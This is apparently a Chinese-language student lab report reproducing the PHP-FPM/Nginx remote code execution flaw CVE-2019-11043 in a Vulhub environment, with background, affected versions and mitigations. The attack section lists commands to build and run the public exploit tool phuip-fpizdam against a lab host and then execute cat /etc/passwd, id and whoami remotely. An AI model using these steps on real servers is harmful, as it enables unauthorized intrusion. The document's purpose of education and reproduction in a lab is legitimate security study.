一、信息安全概述
信息安全是一个涵盖广泛的领域，旨在保护信息系统和数据免受未经授权的访问、使用、披露、破坏、修改或干扰的威胁和攻击。它涉及各种技术、策略和措施，旨在确保信息的保密性、完整性和可用性。信息安全的目标是保护组织的敏感信息，包括客户数据、商业机密、财务信息和知识产权，以及防止信息系统遭受破坏、盗窃或滥用。
信息安全的重要性不断增加，因为随着技术的发展，网络攻击和数据泄露的威胁也在不断增加。信息安全涉及多个方面，包括网络安全、应用程序安全、数据保护、身份验证和访问控制等。它需要综合应用技术、政策、教育和意识培训等措施，以建立强大的防御机制和应急响应能力。
信息安全的目标是确保机构和个人的信息资产受到保护，防止数据泄露、身份盗窃、勒索软件攻击和其他恶意活动。为了实现这些目标，信息安全需要综合考虑以下几个方面：
·机构内部的安全政策和流程，包括访问控制、身份验证、密码管理和员工培训等。
·网络安全措施，如防火墙、入侵检测和预防系统、安全监控和日志分析等。
·应用程序安全，包括代码审查、漏洞管理和安全测试等。
·数据保护和加密，以确保数据在传输和存储过程中的安全性。
·应急响应和恢复计划，以应对安全事件和灾难。
总之，信息安全是保护信息系统和数据免受威胁和攻击的重要领域。它需要综合应用技术、策略和措施，以确保信息的保密性、完整性和可用性，并建立强大的防御和应急响应能力。
二、背景
1.CVE-2019-11043（PHP远程代码执行漏洞）简介
CVE-2019-11043漏洞是PHP的一个远程代码执行漏洞，该漏洞产生与Nginx利用fastcgi_split_path_info在处理带有 %0a 的请求时，会因为遇到换行符（%0a）导致PATH_INFO为空，最终可导致任意代码执行。
该漏洞普遍出现在Nginx+php-fpm环境中，且PHP版本在7.0-7.3之间。
****2.****技术以及平台的相关原理
要想理解CVE-2019-11043漏洞成因，我们从Nginx处理PHP类型的文件开始讲起。在早期（Web1.0）时期，web大多是静态页面，所谓静态页面，即HTML、JPG等静态资源组成，没有PHP、JSP等的动态页面语言。
后来PHP等动态语言出现以后，Nginx如何支持PHP语言的网站称为了一个问题。Apache的解决方案是将处理PHP等动态语言的程序编译成一个模块，当我们需要处理PHP页面时，就可以调用这个模块。而对于Nginx而言，选择的是另一种解决方案，即Nginx本身只解析静态资源，如果有PHP页面，就将这个请求给PHP相关程序来进行处理，然后将处理后的结果反馈给用户。
为了解决这种PHP（语言解析器）与Nginx（Web服务器）之间的通信问题，我们制定了cgi协议。有了cgi协议以后，意味着以后出现新的动态语言（比如go语言），出现了新的Web服务器，只要遵循了cgi协议，就可以快速方便的实现语言解析器和Web服务器之间的通信问题。cgi协议非常重要，但是也有其自身的缺点，那就是每次语言解析器和Web服务器之间的通信，都需要创建一个进程，当通信结束后，就要杀死这个进程，这样的机制无疑大大浪费了系统资源。为了解决这一问题我们，我们对cgi协议进行了修改，cgi协议的改良版本有很多，但是其中一个很具有代表性的就是fast-cgi协议。fast-cgi协议改进了进程的处理模式，当一次通信完成后，通信进程会得以保留，不会杀死通信使用的进程，其他的通信还可以继续使用这个进程，这样一来，就大大提升了系统资源使用效率。
对于Nginx而言，为了实现与PHP的通信交互，因此出现了php-cgi和php-fpm。php-cgi支持cgi协议，可以用于处理和解析PHP脚本程序，php-cgi通过调用PHP的php_execute_script函数来解析和运行PHP脚本。php-cgi的问题在于，尽管其本身可以解析和处理PHP脚本程序，但是其本身没有进程管理的相关功能。为了解决这一问题，就出现了php-fpm。php-fpm全称是php Fastcgi Process Manager，php-fpm实现了Fast-cgi协议，并可以提供进程管理的相关功能。在PHP5.4版本之前，Nginx处理PHP的流程是调用php-fpm，php-fpm再创建进程，调用php-cgi，以此实现了Ngixn对PHP的解析问题，此时php-fpm起到的是管理php-cgi的作用。在PHP5.4版本之后，php内核中集成了php-fpm，本身带有了php解析的功能，就不再以来php-cgi来解析PHP了。
- 漏洞的成因
Nginx的配置会导致CVE-2019-11043漏洞，主要漏洞成因是在如下配置：
fastcgi_split_path_info ^(.+.php)(/.*)$
向目标服务器 URL 发送 %0a 符号时，服务返回异常，疑似存在漏洞。
如果用户传入的信息存在换行符（URL编码是%0a），则会破坏fastcgi_split_path_info参数后面的正则表达式匹配，从而导致PATH_INFO变量为空，从而触发漏洞。
在使用这些有错误的Nginx配置的情况下，攻击者通过精心的构造和利用数据包，即可让PHP-FPM执行任意代码。
关于该漏洞详细分析可参考文章：
CVE-2019-11043 Nginx配置详解-CSDN博客
Vulhub - Docker-Compose file for vulnerability environment
- 影响范围
在 Nginx + PHP-FPM 环境下，当启用了上述 Nginx 配置后，以下 PHP 版本受本次漏洞影响，另外，PHP 5.6版本也受此漏洞影响，但目前只能 Crash，不可以远程代码执行：
PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本
三、攻击操作步骤（以及防御操作）
- 实验环境要求：
1.1靶机：kali-linux-2024.1-vmware-amd64
安装Vulhub搭建docker镜像，搭建PHP、nginx环境
靶机IP(192.168.6.124)、Doker镜像IP如图1所示：
图1靶机及镜像IP
1.2攻击机：kali-linux-2024.1-vmware-amd64
安装go编译环境golang、漏洞利用工具phuip-fpizdam
攻击机IP(192.168.6.243)、测试攻击机和靶机能够ping通，如图2所示：
图2攻击机和靶机ping通
2 ****.****CVE-2019-11043（PHP远程代码执行漏洞）漏洞环境搭建
2.1靶机环境搭建
为了复现该漏洞，我们首先需要搭建靶机漏洞环境。我们使用Vulhub来搭建该漏洞环境。安装完Vulhub后，我们可以在Vulhub的PHP目录下，找到该漏洞，建漏洞PHP、nginx环境。
具体步骤如下：
<1>执行命令cd vulhub/php/CVE-2019-11043进入该漏洞目录；
<2>执行命令docker-composebuild构建该漏洞；
<3>执行命令docker-compose up -d即可搭建漏洞的环境（PHP、nginx）；
<4>执行命令docker-compose config可以查看该漏洞的docker配置。
界面如图3所示：
图3靶机漏洞环境搭建
使用浏览器访问镜像的8080端口（http://172.17.0.1:8080/），验证该漏洞环境已搭建好，界面如图4所示：
图4 靶机漏洞环境验证
2.1攻击机环境搭建
为了复现该漏洞，我们首先需要搭建攻击机环境。我们使用的Github上该漏洞的公开POC，git克隆该poc的安装包。在这之前，为了编译该环境，需要本地安装go语言环境。
2.1.1 go语言环境搭建
相关过程可以参考文章：http://t.csdnimg.cn/aFIob具体步骤如下：
<1>下载Linux的二进制包，攻击机Kali Linux系统上，执行命令：
wgethttps://studygolang.com/dl/golang/go1.19.4.linux-amd64.tar.gz
<2>将下载后的安装包解压,执行命令:
tarxf go1.19.4.linux-amd64.tar.gz
如下图5所示：
图5 go语言环境搭建
<3>配置环境变量,执行命令:
export GOPATH=/home/kali/go
export PATH=$GOPATH/bin
<4>测试go语言编译环境,执行命令:
go version
Go
如下图6所示：
图6 go语言环境测试
2.1.2漏洞利用工具安装
相关过程可以参考文章：http://t.csdnimg.cn/SfIil具体步骤如下：
<1>git克隆漏洞利用工具phuip-fpizdam安装包，执行命令：
git clone https://github.com/neex/phuip-fpizdam.git
下载后，可以看到本地出现了phuip-fpizdam的目录，查看目录内文件，如下图7示：
图7 安装漏洞利用工具
3 ****.****CVE-2019-11043（PHP远程代码执行漏洞）漏洞复现
3.1编译环境
进入phuip-fpizdam的目录，使用go语言编译该环境完成安装漏洞利用POC，，执行命令：
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
上述命令执行结果如下图8所示：
图8 漏洞利用POC安装
3.2 漏洞利用
使用https://github.com/neex/phuip-fpizdam中给出的工具，发送数据包使用该工具执行命令：
go run . "http://靶机IP:8080/index.php"
上述命令执行结果如下图9所示：
图9 发送数据包
打开浏览器访问"http://192.168.6.124:8080/a=cat /etc/passwd"即可查看到命令已成功执行。界面结果如下图10所示：
图10 漏洞利用
4 ****.****CVE-2019-11043（PHP远程代码执行漏洞）漏洞利用
4.1 执行cat /etc/passwd命令
图11 漏洞利用1
4.2 执行pwd命令
可以看到当前位于/var/www/html hello world目录下：
图12 漏洞利用2
4.3 执行ls命令
图13 漏洞利用3
4.4 执行id命令
图14 漏洞利用4
4.5 执行whoami命令
图15 漏洞利用5
5 ****.****CVE-2019-11043（PHP远程代码执行漏洞）漏洞防御操作
5.1 解决方案1
在不影响正常业务的情况下，删除 Nginx 配置文件中的如下配置：
fastcgi_split_path_info ^(.+.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
5.2解决方案********2
更新PHP版本：高于PHP 7.3 版本
5.3解决方案********3
打开UFW防火墙，命令如下：sudo ufw enable
四、总结
通过对CVE-2019-11043（PHP远程代码执行漏洞）的复现和研究，我们深入了解了该漏洞的原理和危害。这个漏洞的存在使得攻击者可以通过精心构造的请求，远程执行恶意代码，从而获取系统权限、窃取敏感信息或者对系统进行破坏。
我们的研究不仅揭示了该漏洞的具体利用方式，还突显了PHP和Nginx等常用技术在安全性方面的薄弱环节。这个漏洞的存在提醒我们，信息安全是一个持续的挑战，我们不能放松对安全性的重视。
为了有效应对这类漏洞，我们需要采取一系列的安全措施。首先，及时更新和升级软件、组件和框架，以修复已知的漏洞。其次，加强网络安全防护，包括使用防火墙、入侵检测系统和加密传输等技术手段。此外，开发人员应该注重编写安全的代码，进行安全测试和代码审查，以减少潜在的漏洞。
在我的研究中，我们成功地复现了CVE-2019-11043漏洞，并提供了相应的解决方案。我们的研究对于加强对这类漏洞的认识和理解，为安全团队和开发人员提供了宝贵的参考和指导。
然而，我们也意识到这个漏洞只是众多安全威胁中的一个，信息安全的挑战远未结束。我们需要不断学习和更新知识，跟踪最新的漏洞和攻击技术，以保持对安全问题的敏感性。只有通过共同努力，我们才能构建一个更加安全可靠的网络环境。
五、结束语
这次研究不仅揭示了漏洞的具体利用方式，还突显了PHP和Nginx等常用技术在安全性方面的薄弱环节。我们应该认识到，信息安全的重要性不容忽视，特别是对于Web应用程序和服务器环境。只有充分了解和意识到这些潜在的漏洞，我们才能更好地保护系统和数据的安全。
为了有效应对这类漏洞，我们需要采取一系列的安全措施。首先，及时更新和升级软件、组件和框架，以修复已知的漏洞。其次，加强网络安全防护，包括使用防火墙、入侵检测系统和加密传输等技术手段。此外，开发人员应该注重编写安全的代码，进行安全测试和代码审查，以减少潜在的漏洞。
最后，信息安全是一个持续的过程，需要不断地学习和更新知识，跟踪最新的漏洞和攻击技术，并采取相应的防护措施。只有通过全面的安全意识和行动，我们才能确保信息系统和数据的安全，并有效应对未来的安全挑战。
在未来的研究中，我们可以进一步探索其他相关的漏洞和安全问题，并提出更加有效的解决方案。通过不断的研究和实践，我们可以为信息安全的发展和保护做出更大的贡献。让我们共同努力，为构建一个安全可靠的网络环境而努力。
六、参考文献
1\]陈忠，张乾林. PHP程序安全与漏洞挖掘\[M\]. 电子工业出版社，2018. \[2\]张瑞，杨夏峰，李炜. PHP Web应用安全防护与漏洞挖掘\[J\]. 中国科技论文在线，2017，12(6)：621-626. \[3\]Kaur, A., \& Sharma, S. (2018). Analysis of PHP Vulnerabilities and Techniques of Prevention. In International Conference on Information Systems Design and Intelligent Applications (pp. 571-579). Springer, Singapore. \[41\]冯刚，周琪. 基于PHP的Web应用漏洞分析与防范\[J\]. 现代计算机，2016，(12)：62-65. \[5\]Alshammari, A., \& Alghamdi, M. (2020). Vulnerability Analysis of PHP Web Applications. International Journal of Computer Science and Network Security, 20(6), 38-43. \[6\]Rios, M., \& Baudot, A. (2019). Web Application Security: Exploiting Common Vulnerabilities in PHP Applications. In International Conference on Cyber Security Intelligence and Analytics (pp. 37-49). Springer, Cham. \[7\]王永正，王瑞勤. 基于PHP的Web应用安全漏洞与防范\[J\]. 现代信息，2019，(9)：57-59. \[8\]刘东. PHP程序安全漏洞分析与防范探讨\[J\]. 计算机技术与发展，2018，28(11)：117-123. \[9\]Kim, H., Lee, D., \& Huh, J. H. (2020). An Analysis of Security Vulnerabilities and Countermeasures in PHP Web Applications. In International Conference on Security with Intelligent Computing and Big-data Services (pp. 118-126). Springer, Cham. \[10\]Bortolameotti, R., \& Massacci, F. (2017). Vulnerability Analysis of PHP Web Applications: A Case Study. In International Conference on Computer Aided Verification (pp. 304-319). Springer, Cham.